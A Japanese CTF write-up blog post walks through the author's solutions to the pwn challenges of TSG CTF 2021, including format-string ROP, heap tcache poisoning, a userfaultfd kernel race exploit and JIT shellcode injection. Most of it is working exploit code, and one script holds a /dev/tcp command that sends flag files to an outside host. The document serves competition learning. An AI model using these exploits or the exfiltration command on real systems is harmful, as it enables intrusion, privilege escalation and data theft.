難易度詐欺師集団として国際指名手配されているあのTSGが今年も捜査の手を逃れてCTFを開催しました。 私は基本的にpwnだけ見ましたが、今年は去年ほどの難易度詐欺はpwnにはなく、正直な難易度が書かれていたと思います。 反省の色が現れており、情状酌量の余地があるので判決は執行猶予3年。以上閉廷🧑⚖️
今年はzer0ptsのメンバーに加え、dodododoからakiymさんとrexさんも参加してくれました。愉快な仲間たち。
最近仕事のせいでwriteupを書く時間が取れませんが、24時間CTFであるのと、TSGはzer0pts CTFなどのwriteupを書いてくれているので久しぶりにちゃんと書きます。
愉快な仲間たちのwriteup:
- [pwn 100pts] Beginner's Pwn 2021 (283 solves)
- [pwn 138pts] Coffee (48 solves)
- [pwn 152pts] cHeap (39 solves)
- [pwn 322pts] lkgit (7 solves)
- [pwn 365pts] Cling (5 solves)
- [pwn 500pts] Chat (1 solve)
- おわりに
if (strncmp(your_try, flag, length) == 0) {
ここと
char your_try[64]={0}; char flag[64]={0};
ここと
scanf("%64s", your_try);
ここが目に入るまでの5秒ほどで解法が分かるので、すぐさまexploitを書きます。 明らかにstrcmpの両方の先頭にNULLバイトを入れればOKです。
from ptrlib import * sock = Socket("nc 34.146.101.4 30007") payload = b'\0' * 64 sock.sendlineafter(">", payload) sock.interactive()
First Bloodでした。
最初見たとき「うわ〜FSBかよ〜」となりましたが、PIEもFull RELROもないので意外と易しいことに気づきます。
int x = 0xc0ffee; int main(void) { char buf[160]; scanf("%159s", buf); if (x == 0xc0ffee) { printf(buf); x = 0; } puts("bye"); }
putsのGOTをカキカエレばmain関数を再度呼び出すなど可能ですが、この問題のポイントはグローバル変数を使って意地でもprintfを1回しか呼ばないようにしている点です。 この構造の問題は過去にも複数出題され、実際それらと同じ(確率的な)手法でこの問題も解けますが、scanfを使っている点とせっかくPIEもRELROも無効な点を考えると簡単解法がありそうです。 puts関数が呼ばれる際のスタックの様子を確認すると解法がすぐ分かります。
► 0x401070 <[email protected]> endbr64 0x401074 <[email protected]+4> bnd jmp qword ptr [rip + 0x2f9d] <__libc_csu_init+90> pwndbg> x/32xg $rsp 0x7fffffffda28: 0x0000000000401206 0x2439256338333125 0x7fffffffda38: 0x63363331256e6868 0x416e686824303125 ...
リターンアドレスの直後にはFSBのペイロードが存在するため、この付近にROP chainを置いておけばROPできます。
そうと分かれば通常のROPの手順でlibc leakやsystem関数の呼び出しが可能です。
scanfのPLTの位置に空白文字が入っているためscanfは呼べませんので、libc leak後に再度x
に0xc0ffeeを代入するROP chainを書いて再びFSB→ROPすればsystem関数が呼び出せます。
from ptrlib import * libc = ELF("./libc.so.6") elf = ELF("./coffee") sock = Socket("nc 34.146.101.4 30002") rop_pop_rdi = 0x00401293 rop_pop_rbx_rbp_r12_r13_r14_r15 = 0x40128a rop_add_prbpM3Dh_ebx = 0x0040117c payload = fsb( pos=6, writes={elf.got('puts'): rop_pop_rbx_rbp_r12_r13_r14_r15}, bs=1, size=2, bits=64 ) payload += flat([ rop_pop_rdi+1, rop_pop_rdi, elf.got("printf"), elf.plt("printf"), rop_pop_rbx_rbp_r12_r13_r14_r15, 0xc0ffee, elf.symbol('x')+0x3d, 2, 3, 4, 5, rop_add_prbpM3Dh_ebx, rop_pop_rdi+1, elf.symbol('main') ], map=p64) assert len(payload) < 160 assert not has_space(payload) sock.sendline(payload) sock.recvuntil("@@") libc_base = u64(sock.recv(6)) - libc.symbol("printf") logger.info("libc = " + hex(libc_base)) libc.set_base(libc_base) payload = fsb( pos=6, writes={elf.got('puts'): rop_pop_rbx_rbp_r12_r13_r14_r15}, bs=1, size=2, bits=64 ) payload += flat([ rop_pop_rdi+1, rop_pop_rdi, next(libc.search("/bin/sh")), libc.symbol("system"), ], map=p64) sock.sendline(payload) sock.sh()
この問題はSecond Bloodでした。pwn全問First Bloodならず、残念。
脆弱性は自明なUse-after-FreeとHeap Overflowです。 この問題のポイントはバッファを1つしか保持できないという点です。 やることはSECCON Beginner's CTF 2021 Onlineで私が出題したfreelessと非常に似ているというか同じです。 ので特に今回書くことはありません。
from ptrlib import * def create(size, data): sock.sendlineafter(": ", "1") sock.sendlineafter(": ", str(size)) sock.sendlineafter(": ", data) def show(): sock.sendlineafter(": ", "2") return sock.recvline() def delete(): sock.sendlineafter(": ", "3") libc = ELF("./libc.so.6") sock = Socket("nc 34.146.101.4 30001") create(0x18, b"A"*0x18 + p64(0xd51)) delete() create(0x1000, b"A") create(0x428, b"A") delete() libc_base = u64(show()) - libc.main_arena() - 0x60 logger.info("libc = " + hex(libc_base)) libc.set_base(libc_base) create(0xd28, b"A") create(0xf28 - 0xf0, b"B") create(0xa8, b"C") delete() create(0x28, b"X"*0x28 + p64(0xd1)) delete() create(0x100, b'A') create(0x28, b"X"*0x28 + p64(0xb1) + p64(libc.symbol("__free_hook"))) create(0xa8, "dummy") create(0xa8, p64(libc.symbol("system"))) create(0x38, "/bin/sh\0") delete() sock.interactive()
この問題はFirst Bloodでした。
Kernel ExploitとかBrowser Exploit系は苦手なので解けるか不安で胃が痛くなります。 bpfが出ると予想していた*1のですが、意外にもよくあるタイプのkernel問でした。 こういうフラグに向かって詰まることなく一直線に作業できるけど教育的で楽しい問題もっと増えてくれ〜。
内容はgitをカーネル空間で実装したという不思議テーマですが、実装自体は非本質要素が取り除かれており非常に綺麗です。 カーネルモジュールの脆弱性はロックの取り忘れで、race conditionが発生します。 攻撃手法は私がSECCON 2020 Onlineで出題したkstackと同じで、公式writeupがすべてを説明しているので詳しくかきませんが、おなじみuserfaultfdでraceの確率を100%に上げます。
競技中は(もともとuserfaultfdを知ったのがそういう用途だったので)あまり考えませんでしたが、今回の問題のポイントはカーネルに渡すデータをページを跨いで設置することで、モジュール中の特定の箇所でスレッドを停止させる点でした。
確かにそう思って見返すと他の方法では解けないようにしっかり設計されています。
皆さんご存知seq_operations
でKASLR bypassはできますが、setxattrは使えなかったのでカーネルモジュール中のkzallocを使ってoverwriteのUAFを実装しました。
行方不明だったmodprobe_path
も見つかったそうですが、彼がいない間に出会ったcore_patterns
と今は暮らしているのでそっちを使いました。
#include <stdlib.h> #include <string.h> #include <stdio.h> #include <fcntl.h> #include <unistd.h> #include <pthread.h> #include <errno.h> #include <poll.h> #include <arpa/inet.h> #include <sys/wait.h> #include <sys/ioctl.h> #include <sys/mman.h> #include <sys/ipc.h> #include <sys/shm.h> #include <sys/types.h> #include <sys/socket.h> #include <sys/syscall.h> #include <sys/un.h> #include <sys/xattr.h> #include <sys/stat.h> #include "userfaultfd.h" #define CMD "#!/bin/sh\nchmod 777 /home/user/flag\n" #define FILE_MAXSZ 0x40 #define MESSAGE_MAXSZ 0x20 #define HISTORY_MAXSZ 0x30 #define HASH_SIZE 0x10 unsigned long kbase; typedef struct { char hash[HASH_SIZE]; char *content; char *message; } hash_object; typedef struct { char hash[HASH_SIZE]; char content[FILE_MAXSZ]; char message[MESSAGE_MAXSZ]; } log_object; int fds[0x80]; int fd; char contentA[0x40]; char contentB[0x40]; void fatal(const char *msg) { perror(msg); exit(1); } static int page_size; static void *fault_handler_thread(void *arg) { unsigned long value; static struct uffd_msg msg; static int fault_cnt = 0; long uffd; static char *page = NULL; struct uffdio_copy uffdio_copy; int len, i; if (page == NULL) { page = mmap(NULL, page_size, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); if (page == MAP_FAILED) fatal("mmap (userfaultfd)"); } uffd = (long)arg; for(;;) { struct pollfd pollfd; pollfd.fd = uffd; pollfd.events = POLLIN; len = poll(&pollfd, 1, -1); if (len == -1) fatal("poll"); printf("[+] fault_handler_thread():\n"); printf(" poll() returns: nready = %d; " "POLLIN = %d; POLLERR = %d\n", len, (pollfd.revents & POLLIN) != 0, (pollfd.revents & POLLERR) != 0); len = read(uffd, &msg, sizeof(msg)); if (len == 0) fatal("userfaultfd EOF"); if (len == -1) fatal("read"); if (msg.event != UFFD_EVENT_PAGEFAULT) fatal("msg.event"); printf("[+] UFFD_EVENT_PAGEFAULT event: \n"); printf(" flags = 0x%lx\n", msg.arg.pagefault.flags); printf(" address = 0x%lx\n", msg.arg.pagefault.address); switch(fault_cnt) { case 0: { char hashval[0x10]; hash(contentA, "Message 1", hashval); for (int i = 0; i < 0x80; i++) { fds[i] = open("/proc/self/stat", O_RDONLY); } uffdio_copy.src = (unsigned long)page; break; } case 1: { char fake_object[0x20]; *(unsigned long*)&fake_object[0x18] = kbase + 0xd58800; char hashval[0x10], content[0x40]; hash(contentB, "Message 2", hashval); for (int i = 0; i < 0x10; i++) { for (int j = 0; j < 0x40; j++) content[j] = rand(); hash(content, fake_object, hashval); } char what[0x1000]; strcpy(what, "|/tmp/pwn\0"); uffdio_copy.src = (unsigned long)what; break; } default: puts("[-] Ponta?"); getchar(); break; } uffdio_copy.dst = (unsigned long)msg.arg.pagefault.address & ~(page_size - 1); uffdio_copy.len = page_size; uffdio_copy.mode = 0; uffdio_copy.copy = 0; if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) == -1) fatal("ioctl: UFFDIO_COPY"); printf("[+] uffdio_copy.copy = %ld\n", uffdio_copy.copy); fault_cnt++; } } void setup_pagefault(void *addr, unsigned size) { long uffd; pthread_t th; struct uffdio_api uffdio_api; struct uffdio_register uffdio_register; page_size = sysconf(_SC_PAGE_SIZE); uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK); if (uffd == -1) fatal("userfaultfd"); uffdio_api.api = UFFD_API; uffdio_api.features = 0; if (ioctl(uffd, UFFDIO_API, &uffdio_api) == -1) fatal("ioctl: UFFDIO_API"); uffdio_register.range.start = (unsigned long)addr; uffdio_register.range.len = size; uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING; if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) == -1) fatal("ioctl: UFFDIO_REGITER"); if (pthread_create(&th, NULL, fault_handler_thread, (void*)uffd)) fatal("pthread_create"); } void hash(const char *data, const char *msg, char *hash) { hash_object h = {.content=data, .message=msg}; printf("[+] hash: %x\n", ioctl(fd, 0xdead0001, &h)); if (hash) memcpy(hash, h.hash, 0x10); } log_object *get(const char *hash, log_object *myl) { log_object *l; if (myl) { l = myl; } else { l = (log_object*)malloc(sizeof(log_object)); } memcpy(l->hash, hash, 0x10); printf("[+] get: %x\n", ioctl(fd, 0xdead0004, l)); return l; } log_object *amend(const char *hash, const char *msg, log_object *myl) { log_object *l; if (myl) { l = myl; } else { l = (log_object*)malloc(sizeof(log_object)); memcpy(l->message, msg, 0x20); } memcpy(l->hash, hash, 0x10); printf("[+] amend: %x\n", ioctl(fd, 0xdead0003, l)); return l; } int main(int argc, char **argv) { if (argc >= 2) { char *ptr = 0; *ptr = 0; } char hashval[0x10]; strcpy(contentA, "ZB?O%dTCXk5g5-kBfz.5veqBhd;EIM4}T-%rY6[Wk0f{FaY:@9wn%q+\"mh:^dP0"); strcpy(contentB, "IHZ[+)[email protected]\"5B7*+5!:4,}n\"/<@s^&iecuitS[7cBM}T_cZJakJY>1R/1TU|k"); fd = open("/dev/lkgit", O_RDWR); if (fd == -1) fatal("/dev/lkgit"); unsigned long *pages = (unsigned long*) mmap((void*)0x77770000, 0x4000, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_PRIVATE | MAP_ANON, -1, 0); if ((unsigned long)pages != 0x77770000) fatal("mmap (0x77770000)"); setup_pagefault((void*)pages + 0x1000, 0x3000); hash(contentA, "Message 1", hashval); log_object *log = (log_object*)((void*)pages + 0x1000 - 0x10 - 0x40); get(hashval, log); kbase = *(unsigned long*)log->hash - 0x1adc20; printf("[+] kbase = %p\n", kbase); log = (log_object*)((void*)pages + 0x2000 - 0x10 - 0x40); hash(contentB, "Message 2", hashval); amend(hashval, NULL, log); FILE *fp = fopen("/tmp/pwn", "w"); fwrite(CMD, 1, strlen(CMD), fp); fclose(fp); chmod("/tmp/pwn", 0777); return 0; }
この問題もFirst Bloodでした。
問題バイナリが配られていないので不思議に思いDockerfileを見るとclingなるものをダウンロードしていました。 意味不明終了〜って思いつつもふるつきにcling何?って聞いたらC++のインタプリタらしいことが分かりました。 どう実装してるのかは知りませんが、機能的にJITがあるのは確実なのでそれを頭に入れつつ問題を見ます。 問題では
- mmap
- mprotect
- munmap
ができます。また、関数を自分で定義してmapとして呼び出すこともできます。 関数として使える文字は制限されており、これを回避する問題かと思いましたがclingの上で回避する方法は思いつきませんでした。
mmap/mprotect/munmapの方には実はUse-after-Unmapがあります。といってもunmapしたページを使ってもセグフォするだけなので意味がありません。 この時点でclingのJITが作る機械語領域と被せるんだろうなぁとすぐ分かります。 作った関数がメモリ上のどの辺りに確保されるかをgdbで見てそこにshellcodeを書き込めば終わりです。
from ptrlib import * def create(elements): sock.sendlineafter("> ", "1") sock.sendlineafter(">", str(len(elements))) for v in elements: sock.sendline(str(v)) def protect(read=True, write=True, execute=True): sock.sendlineafter("> ", "2") sock.sendlineafter(">", "Y" if read else "n") sock.sendlineafter(">", "Y" if write else "n") sock.sendlineafter(">", "Y" if execute else "n") def delete(): sock.sendlineafter("> ", "3") def set_map(code): sock.sendlineafter("> ", "4") sock.sendlineafter("> ", code) """ sock = Process(["/bin/sh", "-c", "cat chall.c - | ./cling_2020-11-05_ROOT-ubuntu2004/bin/cling"]) """ sock = Socket("nc 34.146.101.4 30003") create([0xdead, 0xcafe, 0xfee1]) delete() set_map("0x114514") delete() payload = b'\x90'*0xa0 + nasm(""" xor edx, edx xor esi, esi lea rdi, [rel s_cmd] mov eax, 59 syscall s_cmd: db "/bin/sh", 0 """, bits=64) lp = [] for block in chunks(payload, 8, b'\x90'): lp.append(u64(block)) create(lp) protect() sock.interactive()
問題を見始めるのが遅かった割にFirst Bloodが貰えました。
2021年の脆弱性賞のノミネート候補です。*2 「脆弱性なくない?wowow」と言って2世紀くらいが経ち、ソースコード改変してデバッグしていると、stoull関数が例外を出すことに気が付きます。 あまり知りませんでしたが、C++のstoull関数はlibcのstrtollを呼んでいるだけではなく、独自にinteger overflowのチェックが入っており、失敗すると例外がthrowされます。
そうと分かれば名前付きパイプを生かしたままロックを削除できるので、お名前入力で自由なパケットを送れます。 文字列データのパケットのlengthを調整すればheap overflowが可能なのは一目瞭然です。 問題はどうlibc leakするかです。 相当頭が悪くない限り簡単なのですが、残念な頭脳により思いつきませんでした。
clientからデータを送りつけて、送り返す(送られてきたデータのサイズはlengthが長さだと信じられているので、短いデータを送りつけるとリークする)
— mora (@moratorium08) 2021年10月3日
ここまで来てヒープガチャガチャ問か〜とか勝手に落胆していて申し訳ない😢
今回はなるべく1プロセスでlibc leakする意味不明な方法を取りました。 まず試すのがよくあるmain arenaなどのアドレスリークですが、base64 decoded stringはNULL終端であることと、unsorted binに繋がれる時点でサイズ情報が正しくないとダメなのでそこのNULLバイトに邪魔されて通常libc leakできません。 heap overflowでできるのはサイズ情報を書き換えて本来と違うtcacheにつなぐことくらいです。
そこで今回はC++の例外を利用しました。 C++は例外を発生するときにヒープに0x90バイトのチャンクを確保し、関数ポインタなどを載せます。 このデータはcatch後すぐさまfreeされますが、データ自体は残っているのでこれをリークする手法を考えます。
まず、サイズ0x20のチャンクのサイズ情報を0x90に書き換えてtcacheにつないでおきます。 その偽の0x90チャンクと被るように元の0x20チャンクの直後にset dataでstringデータを設置します。 その後例外を引き起こすと0x90チャンクが使われlibstdc++のアドレスが書き込まれ、もともとstringデータだった部分にピンポイントで関数ポインタが載ります。 そのままデータをsendすればクライアント側にlibstdc++のアドレスが渡ります。
と言ってもstringデータのサイズ情報の部分がNULLになるので、その後クライアントからホストにデータを送るとfreeで死にます。 が、C++の代入・コピーコンストラクタの特性上、解放はコピー後に発生するので、データを送ると同時にサイズ情報を修正するようなheap overflowを引き起こしてクラッシュを回避します。
あとはtcache poisoningでfree hookを変更すればOKです。
from ptrlib import * import os import base64 import time def set_name(sock, name): sock.sendlineafter(">", name) def set_data(sock, type, data): sock.sendlineafter("> ", "1") sock.sendlineafter(">", "int" if type == int else "str") if isinstance(data, int): sock.sendlineafter(">", str(data)) else: sock.sendlineafter(">", data) def send_data(sock): sock.sendlineafter("> ", "2") def recv_data(sock): sock.sendlineafter("> ", "3") return sock.recvlineafter(": ") def bye(sock): sock.sendlineafter("> ", "4") def sync(s1): s1.recvuntil("opponent is") def fake_data(data, close=True): client = setup(False) set_name(client, data) set_data(client, str, "Hello") set_data(client, int, 1145141919810931893364364) send_data(client) time.sleep(1) if close: client.close() else: return client def create(host, size, data): fake_data("2") fake_data(str(size)) fake_data(base64.b64encode(data)) recv_data(host) def setup(is_host): sock = Socket("35.221.113.221", 30001) if is_host: sock.sendlineafter("client\n", "2") sock.sendlineafter("id\n", ROOMID) else: sock.sendlineafter("client\n", "3") sock.sendlineafter("id\n", ROOMID) return sock """ if is_host: return #return Process(["python", "connector.py", "HOST"]) else: return Process(["docker", "run", "-i", "-v", "/home/ptr/tsgctf/chat/env/connector:/env", "chat", "CLIENT"]) #return Process(["python", "connector.py", "CLIENT"]) """ def gen_id(remote=False): if remote: sock = Socket("35.221.113.221", 30001) sock.sendlineafter("client\n", "1") r = sock.recvregex("`(.+)`")[0] p = Process(["/bin/sh", "-c", r.decode()]) h = p.recvlineafter(": ") print(h) sock.sendline(h) else: sock = Process(["python3", "start_docker.py"], env={"BASE": "env/connector"}) sock.sendlineafter("client\n", "1") return sock.recvlineafter("id is ") ROOMID = gen_id(True) logger.info(ROOMID) libc = ELF("/lib/x86_64-linux-gnu/libc-2.31.so") try: host = setup(True) client = setup(False) set_name(host, "tokyo") set_name(client, "lio") set_data(host, int, 9) for i in range(8): send_data(host) set_data(client, str, "Hello") set_data(client, int, 1145141919810931893364364) send_data(client) time.sleep(1) client.close() create(host, 0x20, b"A"*0x18) create(host, 0x1, b"B") create(host, 0x30, b"C") create(host, 0x20, b"A"*0x28 + p64(0x91)) create(host, 0x1, b"B") set_data(host, str, b'A'*0x60) set_data(host, str, b'\0') client = setup(False) set_name(client, "\0") for i in range(20): send_data(host) libc_base = u64(recv_data(client)) - 0x2b73e0 logger.info("libc = " + hex(libc_base)) libc.set_base(libc_base) set_data(client, str, "Hello") set_data(client, int, 1145141919810931893364364) send_data(client) time.sleep(1) client.close() payload = b"D"*0x28 payload += p64(0x91) payload += p64(0) * 3 payload += p64(0x71) create(host, 0x20, payload) payload = b"F"*0x58 payload += p64(0x51) payload += p64(libc.symbol('__free_hook')) create(host, 0x36, payload) create(host, 0x40, b'bash -c "cat flag*>/dev/tcp/XXXX/YYYY"') create(host, 0x40, p64(libc.symbol('system'))) host.sh() except Exception as e: print(e) finally: try: os.unlink("env/connector/c2h") except: pass try: os.unlink("env/connector/h2c") except: pass try: os.unlink("env/connector/HOST") except: pass try: os.unlink("env/connector/CLIENT") except: pass
お手元では/bin/shを起動したのですが、サーバーではなぜか起動しませんでした。 しかし、なぜかリバースシェルは起動しました。 /bin/shが動かないような環境だったのでしょうか。謎 of the year。
この問題もFirst Bloodでした。
たのCTFなのですが、pwn終わった後にcryptoとかwebを見てもミイラみたいな顔するしかなかったので、精進します。 24時間CTFは良いです。 いつもと違ってやるぞ〜という気持ちになれるし、writeupを書く時間もあります。 来年も時間はこの感覚で開催してほしいです。*3
24時間なのでモンスターエナジーを事前に買いにいったのですが、売ってませんでした。 急遽HANSAのぬいぐるみで栄養補給しましたが、非常に良かったです。*4
pwnを事実上全部解いた段階で「暗号解けてなくな〜い?wowow」とか言ってたら最後には暗号問はすべて解かれて泣きました。 何はともあれ日本チーム上位5チームに入ったので、豪華ヨーロッパ旅行が貰えるかもしれません。楽しみ〜 (> <)